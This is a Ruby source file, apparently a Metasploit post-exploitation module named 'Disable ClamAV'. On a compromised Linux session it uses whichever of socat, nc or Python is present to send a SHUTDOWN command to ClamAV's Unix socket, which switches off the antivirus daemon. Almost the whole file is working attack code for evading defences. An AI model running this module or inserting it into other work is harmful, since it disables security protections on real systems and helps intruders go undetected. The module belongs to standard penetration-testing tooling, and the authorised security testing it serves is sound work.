67 lines
2.3 KiB
Ruby
67 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Unix
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Disable ClamAV',
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'Description' => %q{
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This module will write to the ClamAV Unix socket to shutoff ClamAV.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'DLL_Cool_J'
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],
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'Platform' => [ 'linux' ],
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'SessionTypes' => [ 'meterpreter', 'shell' ],
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'Notes' => {
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'Stability' => [SERVICE_RESOURCE_LOSS],
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'Reliability' => [],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options(
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[
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OptString.new('CLAMAV_UNIX_SOCKET', [true, 'ClamAV unix socket', '/run/clamav/clamd.ctl' ]),
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OptString.new('COMMAND', [true, 'ClamAV command to execute', 'SHUTDOWN' ])
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], self.class
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)
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end
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def run
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clamav_socket = datastore['CLAMAV_UNIX_SOCKET']
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cmd = datastore['COMMAND']
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if command_exists?('socat')
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print_good('socat exists')
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payload = "echo #{cmd} | socat - UNIX-CONNECT:#{clamav_socket}"
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elsif command_exists?('nc')
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print_good('nc exists')
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payload = "echo #{cmd} | nc -U #{clamav_socket}"
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elsif command_exists?('python')
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print_good('python exists')
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payload = "python -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
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elsif command_exists?('python3')
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print_good('python3 exists')
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payload = "python3 -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
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else
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fail_with(Failure::NotFound, 'No suitable binary found on the target host. Quitting!')
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end
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print_status("Checking file path #{clamav_socket} exists and is writable... ")
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print_bad('File does NOT exist or is not writable!') unless writable?(clamav_socket.to_s)
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print_good('File does exist and is writable!')
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print_good("Sending #{cmd}...")
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cmd_exec(payload)
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end
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end
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